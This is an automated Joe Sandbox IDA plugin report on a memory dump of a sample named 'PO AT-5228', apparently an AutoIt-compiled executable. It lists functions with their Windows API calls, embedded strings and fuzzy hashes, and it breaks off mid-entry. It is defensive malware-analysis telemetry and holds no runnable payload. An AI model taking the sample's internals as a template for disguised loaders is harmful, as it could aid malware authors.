Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: ea86cb4607f037f77128885dc7bcc99eb033041738789b2f426f18f6051ed54a
Instruction ID: d450ac48b7c5932b826540929a3f87b84af6f4e77039eab7ad46f2df1793ec38
Opcode Fuzzy Hash: ea86cb4607f037f77128885dc7bcc99eb033041738789b2f426f18f6051ed54a
Instruction Fuzzy Hash: D5025A756046019FCB14EF24C895E2AB7E5FF89720F04849DF99A9B3A2CB34ED05CB85

Function 00BC6BC9 Relevance: 26.5, APIs: 2, Strings: 13, Instructions: 281windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00BC6C56
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00BC6D16

Strings

FINDITEM, xrefs: 00BC6E81
VIEWCHANGE, xrefs: 00BC6ECD
SELECTCLEAR, xrefs: 00BC6D8D
GETTEXT, xrefs: 00BC6CBF
DESELECT, xrefs: 00BC6DFC
SELECT, xrefs: 00BC6DA8
GETSELECTED, xrefs: 00BC6E3C
GETSELECTEDCOUNT, xrefs: 00BC6CF9
GETITEMCOUNT, xrefs: 00BC6C84
SELECTINVERT, xrefs: 00BC6DDE
ISSELECTED, xrefs: 00BC6D21
GETSUBITEMCOUNT, xrefs: 00BC6CA1
SELECTALL, xrefs: 00BC6D75

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 5a8e20a9dd97b63a8615c76cf122625143403c23f3d999ec4812c8aafd89fa62
Instruction ID: 9feebcec7b664157e2d0506c750446a799200cf646d26afc53286bb0bf3f5715
Opcode Fuzzy Hash: 5a8e20a9dd97b63a8615c76cf122625143403c23f3d999ec4812c8aafd89fa62
Instruction Fuzzy Hash: B9A14D742142419BCB14EF24C991F6AB3E9EF55314F1489EDB86A9B2D2DB30ED0ACB41

Function 00B9CF50 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00B9CF91
__swprintf.LIBCMT ref: 00B9D032
_wcscmp.LIBCMT ref: 00B9D045
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00B9D09A
_wcscmp.LIBCMT ref: 00B9D0D6
GetClassNameW.USER32(?,?,00000400), ref: 00B9D10D
GetDlgCtrlID.USER32(?), ref: 00B9D15F
GetWindowRect.USER32(?,?), ref: 00B9D195
GetParent.USER32(?), ref: 00B9D1B3
ScreenToClient.USER32(00000000), ref: 00B9D1BA
GetClassNameW.USER32(?,?,00000100), ref: 00B9D234
_wcscmp.LIBCMT ref: 00B9D248
GetWindowTextW.USER32(?,?,00000400), ref: 00B9D26E
_wcscmp.LIBCMT ref: 00B9D282

Strings

%s%u, xrefs: 00B9D02C

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf
String ID: %s%u
API String ID: 3119225716-679674701
Opcode ID: 1ee3dd89ebff4c039a9302e83ec7826503c75580a02d0617586da893af49b834
Instruction ID: 2de0cd197ceea563627a670b126804e2588e645578b16fe6245fd4bf5c291a53
Opcode Fuzzy Hash: 1ee3dd89ebff4c039a9302e83ec7826503c75580a02d0617586da893af49b834
Instruction Fuzzy Hash: 6EA1E371604302AFDB14DF65C884FAAB7E8FF44350F008A69F999D7190DB30E946CBA1

Function 00B9D8A7 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00B9D8EB
_wcscmp.LIBCMT ref: 00B9D8FC
GetWindowTextW.USER32(00000001,?,00000400), ref: 00B9D924
CharUpperBuffW.USER32(?,00000000), ref: 00B9D941
_wcscmp.LIBCMT ref: 00B9D95F
_wcsstr.LIBCMT ref: 00B9D970
GetClassNameW.USER32(00000018,?,00000400), ref: 00B9D9A8
_wcscmp.LIBCMT ref: 00B9D9B8
GetWindowTextW.USER32(00000002,?,00000400), ref: 00B9D9DF
GetClassNameW.USER32(00000018,?,00000400), ref: 00B9DA28
_wcscmp.LIBCMT ref: 00B9DA38
GetClassNameW.USER32(00000010,?,00000400), ref: 00B9DA60
GetWindowRect.USER32(00000004,?), ref: 00B9DAC9

Strings

@, xrefs: 00B9D8C6
ThumbnailClass, xrefs: 00B9D9B3, 00B9DA33

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: 06d19f0ac3e67c196065de278942d86c70067f7a08cd05bbf48b115cad685afd
Instruction ID: 949a55e9de9627a5a2b579982e3add9af7581247e3cfcdb128f3227a64183422
Opcode Fuzzy Hash: 06d19f0ac3e67c196065de278942d86c70067f7a08cd05bbf48b115cad685afd
Instruction Fuzzy Hash: 71819D310083459FDF05DF25C885BAA7BE8EF84314F0484BAFD899A096DB74ED56CBA1

Function 00B9D6F4 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 104COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00B9D753

Strings

[REGEXPTITLE:, xrefs: 00B9D77B
LAST, xrefs: 00B9D718
[HANDLE:, xrefs: 00B9D75F
HANDLE=, xrefs: 00B9D74C
[ACTIVE, xrefs: 00B9D740
CLASSNAME=, xrefs: 00B9D790
REGEXP=, xrefs: 00B9D768
ACTIVE, xrefs: 00B9D72E
[CLASS:, xrefs: 00B9D7A3
[LAST, xrefs: 00B9D800
ALL, xrefs: 00B9D7E7
[ALL, xrefs: 00B9D7F9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: bd329ffc4b46c6da5243eb130c4a5d4c8bf5779729f885f95cf8c01855f80a8a
Instruction ID: fe008cb71f5f0f8ddb85774febb2b687fcf2cf7b25184b30368411a9558c10a2
Opcode Fuzzy Hash: bd329ffc4b46c6da5243eb130c4a5d4c8bf5779729f885f95cf8c01855f80a8a
Instruction Fuzzy Hash: F231B035A48209EADF14FB51CD93EEDB3E49F22740F2001F9F542B10E2EB55AE54E651

Function 00B9EA9D Relevance: 25.7, APIs: 17, Instructions: 168windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00B9EAB0
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00B9EAC2
SetWindowTextW.USER32(?,?), ref: 00B9EAD9
GetDlgItem.USER32(?,000003EA), ref: 00B9EAEE
SetWindowTextW.USER32(00000000,?), ref: 00B9EAF4
GetDlgItem.USER32(?,000003E9), ref: 00B9EB04
SetWindowTextW.USER32(00000000,?), ref: 00B9EB0A
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00B9EB2B
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00B9EB45
GetWindowRect.USER32(?,?), ref: 00B9EB4E
SetWindowTextW.USER32(?,?), ref: 00B9EBB9
GetDesktopWindow.USER32 ref: 00B9EBBF
GetWindowRect.USER32(00000000), ref: 00B9EBC6
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00B9EC12
GetClientRect.USER32(?,?), ref: 00B9EC1F
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00B9EC44
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00B9EC6F

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 029e6a4c08982c73488a3dacc6199b055703c2889cc5a6d995fed99e3dba8cf4
Instruction ID: 7925249f5720030db85784c86ac6e3db15c36a05a829d5a7241ded87772a224a
Opcode Fuzzy Hash: 029e6a4c08982c73488a3dacc6199b055703c2889cc5a6d995fed99e3dba8cf4
Instruction Fuzzy Hash: 87513C71900709AFDB20DFA8CD89B6EBBF5FF04705F004968E696A65A0DBB5E944CB10

Function 00BB79B0 Relevance: 25.6, APIs: 17, Instructions: 109COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F8A), ref: 00BB79C6
LoadCursorW.USER32(00000000,00007F00), ref: 00BB79D1
LoadCursorW.USER32(00000000,00007F03), ref: 00BB79DC
LoadCursorW.USER32(00000000,00007F8B), ref: 00BB79E7
LoadCursorW.USER32(00000000,00007F01), ref: 00BB79F2
LoadCursorW.USER32(00000000,00007F81), ref: 00BB79FD
LoadCursorW.USER32(00000000,00007F88), ref: 00BB7A08
LoadCursorW.USER32(00000000,00007F80), ref: 00BB7A13
LoadCursorW.USER32(00000000,00007F86), ref: 00BB7A1E
LoadCursorW.USER32(00000000,00007F83), ref: 00BB7A29
LoadCursorW.USER32(00000000,00007F85), ref: 00BB7A34
LoadCursorW.USER32(00000000,00007F82), ref: 00BB7A3F
LoadCursorW.USER32(00000000,00007F84), ref: 00BB7A4A
LoadCursorW.USER32(00000000,00007F04), ref: 00BB7A55
LoadCursorW.USER32(00000000,00007F02), ref: 00BB7A60
LoadCursorW.USER32(00000000,00007F89), ref: 00BB7A6B
GetCursorInfo.USER32(?), ref: 00BB7A7B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Cursor$Load$Info
String ID:
API String ID: 2577412497-0
Opcode ID: 72e027c174fbd7719581d2b44fda156bf9ba1969c6ceda7b87023103e5e909c1
Instruction ID: 735b667eb88e0705b5976afe64bdd04147d811cee8317130ab6873c71c34ce39
Opcode Fuzzy Hash: 72e027c174fbd7719581d2b44fda156bf9ba1969c6ceda7b87023103e5e909c1
Instruction Fuzzy Hash: 0331E9B1D483196BDB509FB68C899AFBFE8FF44750F504526E50DE7280DAB8A5008F91

Function 00B6C833 Relevance: 25.0, APIs: 7, Strings: 7, Instructions: 479COMMON

Download Yara Rule

APIs

Part of subcall function 00B7E968: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00B6C8B7,?,00002000,?,?,00000000,?,00B6419E,?,?,?,00BFDC00), ref: 00B7E984

Part of subcall function 00B6660F: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B653B1,?,?,00B661FF,?,00000000,00000001,00000000), ref: 00B6662F

__wsplitpath.LIBCMT ref: 00B6C93E

Part of subcall function 00B81DFC: __wsplitpath_helper.LIBCMT ref: 00B81E3C

_wcscpy.LIBCMT ref: 00B6C953
_wcscat.LIBCMT ref: 00B6C968
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,00000001,?,?,00000000), ref: 00B6C978
SetCurrentDirectoryW.KERNEL32(?), ref: 00B6CABE

Part of subcall function 00B6B337: _wcscpy.LIBCMT ref: 00B6B36F

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00BD311B
AU3!, xrefs: 00B6C90C
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00BD3098
Bad directive syntax error, xrefs: 00BD3429
Error opening the file, xrefs: 00BD30B4, 00BD313D
Unterminated string, xrefs: 00BD3470
EA06, xrefs: 00BD30C9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CurrentDirectory$_wcscpy$FullNamePath__wsplitpath__wsplitpath_helper_wcscat
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 2258743419-1018226102
Opcode ID: 4164c34010ab798dea44073412046a0dac7202d2501a29dc30e485e994b5ced7
Instruction ID: 714d134dabbe63690bff2e3b373a15f05b30ad8f881c4eb37adde62693dc499d
Opcode Fuzzy Hash: 4164c34010ab798dea44073412046a0dac7202d2501a29dc30e485e994b5ced7
Instruction Fuzzy Hash: 7A129D315083419FC724EF24C881AAFBBE5EF99714F0449AEF58993262DB34DA49CB53

Function 00BCCE58 Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BCCEFB
DestroyWindow.USER32(?,?), ref: 00BCCF73
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00BCCFF4
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00BCD016
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00BCD025
DestroyWindow.USER32(?), ref: 00BCD042
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00B60000,00000000), ref: 00BCD075
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00BCD094
GetDesktopWindow.USER32 ref: 00BCD0A9
GetWindowRect.USER32(00000000), ref: 00BCD0B0
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00BCD0C2
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00BCD0DA

Part of subcall function 00B7B526: GetWindowLongW.USER32(?,000000EB), ref: 00B7B537

Strings

tooltips_class32, xrefs: 00BCCFED, 00BCD06E
0, xrefs: 00BCCF1B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memset
String ID: 0$tooltips_class32
API String ID: 3877571568-3619404913
Opcode ID: 9c3ad099b60427465e5dc0abe2dc00283703fe57fc084215192c2a92296126f8
Instruction ID: 486e608e59be6e55ace5c577dc074c883712fe1d7468e0e8bfe788df7ef98867
Opcode Fuzzy Hash: 9c3ad099b60427465e5dc0abe2dc00283703fe57fc084215192c2a92296126f8
Instruction Fuzzy Hash: C971D0B4150345AFD720CF28CC95FAA77E5EB88704F08456EF9858B2A1DB74E946CB12

Function 00BCF351 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 178windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B7B35F

DragQueryPoint.SHELL32(?,?), ref: 00BCF37A

Part of subcall function 00BCD7DE: ClientToScreen.USER32(?,?), ref: 00BCD807
Part of subcall function 00BCD7DE: GetWindowRect.USER32(?,?), ref: 00BCD87D
Part of subcall function 00BCD7DE: PtInRect.USER32(?,?,00BCED5A), ref: 00BCD88D

SendMessageW.USER32(?,000000B0,?,?), ref: 00BCF3E3
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00BCF3EE
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00BCF411
_wcscat.LIBCMT ref: 00BCF441
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00BCF458
SendMessageW.USER32(?,000000B0,?,?), ref: 00BCF471
SendMessageW.USER32(?,000000B1,?,?), ref: 00BCF488
SendMessageW.USER32(?,000000B1,?,?), ref: 00BCF4AA
DragFinish.SHELL32(?), ref: 00BCF4B1
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00BCF59C

Strings

@GUI_DRAGID, xrefs: 00BCF510
@GUI_DROPID, xrefs: 00BCF4D1
@GUI_DRAGFILE, xrefs: 00BCF54B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 2b81ed6905397b49f2539df2489b048af9b03bc33b4f170c3855a82c877b7264
Instruction ID: f854e509415feb9d253258e2d959ce3d2334721f3854a737067d1c37006acf57
Opcode Fuzzy Hash: 2b81ed6905397b49f2539df2489b048af9b03bc33b4f170c3855a82c877b7264
Instruction Fuzzy Hash: CD616971108301AFC715EF64CC85EAFBBF8EF99710F000A6EF695961A1DB709A09CB52

Function 00BAAAF8 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 374timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00BAAB3D
VariantCopy.OLEAUT32(?,?), ref: 00BAAB46
VariantClear.OLEAUT32(?), ref: 00BAAB52
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00BAAC40
__swprintf.LIBCMT ref: 00BAAC70
VarR8FromDec.OLEAUT32(?,?), ref: 00BAAC9C
VariantInit.OLEAUT32(?), ref: 00BAAD4D
SysFreeString.OLEAUT32(00000016), ref: 00BAADDF
VariantClear.OLEAUT32(?), ref: 00BAAE35
VariantClear.OLEAUT32(?), ref: 00BAAE44
VariantInit.OLEAUT32(00000000), ref: 00BAAE80

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00BAAC6A
Default, xrefs: 00BAACFD

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: ec9755682fe6ee9c732535d45e5c42ba75c84610d63235012568c6a8bdf9dc8d
Instruction ID: 49364190dda1605ebf651e72ce18b8ea93b5b0f36c6cfabf9ab62d4e23c94008
Opcode Fuzzy Hash: ec9755682fe6ee9c732535d45e5c42ba75c84610d63235012568c6a8bdf9dc8d
Instruction Fuzzy Hash: A5D1BD71A08205EBDB209F65C885B7AB7F5FF06B00F2484E5E455AB280DB74AD40DBB2

Function 00BC716A Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 244windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00BC71FC
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00BC7247

Strings

SELECT, xrefs: 00BC73E0
GETSELECTED, xrefs: 00BC733F
GETITEMCOUNT, xrefs: 00BC7311
ISCHECKED, xrefs: 00BC73B2
COLLAPSE, xrefs: 00BC728D
EXPAND, xrefs: 00BC72E1
CHECK, xrefs: 00BC7267
GETTOTALCOUNT, xrefs: 00BC722A
EXISTS, xrefs: 00BC72B0
UNCHECK, xrefs: 00BC740B
GETTEXT, xrefs: 00BC7382

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 62055ffb277534ca094ac7716a47cab63dcbdfd67d3041178514dfe6a6db00da
Instruction ID: 96ad6191515df25d9e58aa55c300c1f96bb9bbb6c3b1d384692733612765088c
Opcode Fuzzy Hash: 62055ffb277534ca094ac7716a47cab63dcbdfd67d3041178514dfe6a6db00da
Instruction Fuzzy Hash: 93915E742446019BCF05EF24C491A6EB7E5EF95310F0488ECF89A5B392DB34ED46DB85

Function 00BCE4F5 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 199windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00BCE5AB
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,00BC9808,?), ref: 00BCE607
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00BCE647
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00BCE68C
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00BCE6C3
FreeLibrary.KERNEL32(?,00000004,?,?,?,00BC9808,?), ref: 00BCE6CF
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00BCE6DF
DestroyIcon.USER32(?), ref: 00BCE6EE
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00BCE70B
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00BCE717

Part of subcall function 00B80FA7: __wcsicmp_l.LIBCMT ref: 00B81030

Strings

.dll, xrefs: 00BCE564
.exe, xrefs: 00BCE541
.icl, xrefs: 00BCE521

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: efe3bd18e1e5fea1389c9393180b4aacb0a0c255302c4b0ddd3ff6af0c292059
Instruction ID: b38ca756e2582e34ad04099acaf3bbe91e86203fca0b66cbd644a1fc9c899f36
